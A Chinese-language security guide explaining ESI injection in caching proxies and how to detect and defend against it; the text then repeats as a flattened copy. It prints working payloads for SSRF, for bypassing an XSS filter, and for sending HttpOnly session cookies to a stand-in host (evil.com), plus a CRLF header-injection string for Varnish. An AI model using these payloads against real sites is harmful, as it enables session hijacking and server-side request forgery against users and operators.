ESI注入:利用缓存服务形成的SSRF和其它客户端形式渗透
字数 1419 2025-08-18 11:37:15

ESI注入漏洞分析与防御指南

1. ESI技术概述

Edge Side Includes (ESI)是一种基于XML的标记语言,主要用于HTTP代理服务器(如反向代理、负载均衡、缓存服务器)解决网页缓存问题。

1.1 基本功能

  • 指引反向代理获取缓存中的网页内容
  • 动态组合不同缓存片段
  • 减少从源服务器抓取完整页面的次数
  • 提高响应时间并降低服务器负载

1.2 典型用例

处理包含动态内容的静态页面,例如:

<body>
  <b>The Weather Website</b>
  Weather for <esi:include src="/weather/name?id=$(QUERY_STRING{city_id})" />
  Monday: <esi:include src="/weather/week/monday?id=$(QUERY_STRING{city_id})" />
  Tuesday: <esi:include src="/weather/week/tuesday?id=$(QUERY_STRING{city_id})" />

2. ESI注入漏洞原理

2.1 漏洞成因

  • HTTP代理无法区分上游服务器响应的合法ESI标签和攻击者注入的恶意ESI标签
  • ESI解析器处理标签时不编码或转义<和>之间的字符
  • 现代Web框架的语境化转义可能导致JSON响应中的ESI标签被解析

2.2 受影响产品

  • Varnish
  • Squid Proxy
  • IBM WebSphere
  • Oracle Fusion/WebLogic
  • Akamai
  • Fastly
  • F5
  • Node.js ESI
  • LiteSpeed

3. ESI注入攻击类型

3.1 服务端请求伪造(SSRF)

Payload示例:

<esi:include src="http://evil.com/ping/" />

攻击流程:

  1. 攻击者通过代理向后端服务器发送ESI payload
  2. 代理转发请求到后端服务器
  3. 后端响应包含ESI payload
  4. 代理解析ESI标签并请求evil.com
  5. 代理将响应组合后返回客户端

3.2 绕过客户端XSS过滤

Payload示例:

x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/> >alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>

解析结果:

<script>alert(/Chrome%20XSS%20filter%20bypass/);</script>

3.3 绕过HttpOnly Cookie标记

Payload示例:

<esi:include src="http://evil.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />

日志结果:

127.0.0.1 evil.com - [08/Mar/2018:15:20:44 - 0500] "GET /?cookie=bf2fa962b7889ed8869cadaba282 HTTP/1.1" 200 2 "-" "-"

4. 不同产品的实现差异

产品 Includes支持 Vars支持 Cookie访问 需要上游头 主机白名单
Squid3
Varnish
Akamai
Fastly
NodeJS ESI

4.1 产品特定利用方式

Squid3:

<esi:include src="http://evil.com/$(HTTP_COOKIE)"/>

Varnish Cache:

<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>

5. 检测方法

  1. 检查Surrogate-Control头:
    Surrogate-Control: content="ESI/1.0"
    
  2. 测试各种ESI payload的响应
  3. 尝试SSRF回调验证

6. 防御措施

  1. 输入过滤:

    • 对所有用户输入进行严格的过滤和转义
    • 特别注意JSON和CSV等非HTML格式的响应
  2. 配置防护:

    • 禁用不必要的ESI功能
    • 设置ESI includes的主机白名单
    • 限制ESI变量的使用
  3. 安全开发:

    • 使用现代Web框架的XSS防护机制
    • 避免在API响应中包含未转义的HTML内容
  4. 产品选择:

    • 选择默认禁用ESI功能或提供严格安全配置的产品

7. 总结

ESI注入是一种新型的攻击技术,利用缓存服务和代理服务器对ESI标签的处理机制,可以实现SSRF、绕过XSS防护和窃取HttpOnly Cookie等多种攻击。由于ESI规范本身缺乏安全考虑,且不同产品实现差异较大,防御ESI注入需要结合输入过滤、配置加固和安全开发实践等多种措施。安全团队应特别关注使用ESI技术的系统,并进行专项安全评估。

ESI注入漏洞分析与防御指南 1. ESI技术概述 Edge Side Includes (ESI)是一种基于XML的标记语言,主要用于HTTP代理服务器(如反向代理、负载均衡、缓存服务器)解决网页缓存问题。 1.1 基本功能 指引反向代理获取缓存中的网页内容 动态组合不同缓存片段 减少从源服务器抓取完整页面的次数 提高响应时间并降低服务器负载 1.2 典型用例 处理包含动态内容的静态页面,例如: 2. ESI注入漏洞原理 2.1 漏洞成因 HTTP代理无法区分上游服务器响应的合法ESI标签和攻击者注入的恶意ESI标签 ESI解析器处理标签时不编码或转义 <和>之间的字符 现代Web框架的语境化转义可能导致JSON响应中的ESI标签被解析 2.2 受影响产品 Varnish Squid Proxy IBM WebSphere Oracle Fusion/WebLogic Akamai Fastly F5 Node.js ESI LiteSpeed 3. ESI注入攻击类型 3.1 服务端请求伪造(SSRF) Payload示例 : 攻击流程 : 攻击者通过代理向后端服务器发送ESI payload 代理转发请求到后端服务器 后端响应包含ESI payload 代理解析ESI标签并请求evil.com 代理将响应组合后返回客户端 3.2 绕过客户端XSS过滤 Payload示例 : 解析结果 : 3.3 绕过HttpOnly Cookie标记 Payload示例 : 日志结果 : 4. 不同产品的实现差异 | 产品 | Includes支持 | Vars支持 | Cookie访问 | 需要上游头 | 主机白名单 | |------|--------------|----------|-------------|-------------|------------| | Squid3 | ✓ | ✗ | ✓ | ✗ | ✗ | | Varnish | ✓ | ✓ | ✓ | ✗ | ✗ | | Akamai | ✓ | ✓ | ✓ | ✗ | ✓ | | Fastly | ✓ | ✓ | ✓ | ✗ | ✓ | | NodeJS ESI | ✓ | ✓ | ✓ | ✗ | ✗ | 4.1 产品特定利用方式 Squid3 : Varnish Cache : 5. 检测方法 检查 Surrogate-Control 头: 测试各种ESI payload的响应 尝试SSRF回调验证 6. 防御措施 输入过滤 : 对所有用户输入进行严格的过滤和转义 特别注意JSON和CSV等非HTML格式的响应 配置防护 : 禁用不必要的ESI功能 设置ESI includes的主机白名单 限制ESI变量的使用 安全开发 : 使用现代Web框架的XSS防护机制 避免在API响应中包含未转义的HTML内容 产品选择 : 选择默认禁用ESI功能或提供严格安全配置的产品 7. 总结 ESI注入是一种新型的攻击技术,利用缓存服务和代理服务器对ESI标签的处理机制,可以实现SSRF、绕过XSS防护和窃取HttpOnly Cookie等多种攻击。由于ESI规范本身缺乏安全考虑,且不同产品实现差异较大,防御ESI注入需要结合输入过滤、配置加固和安全开发实践等多种措施。安全团队应特别关注使用ESI技术的系统,并进行专项安全评估。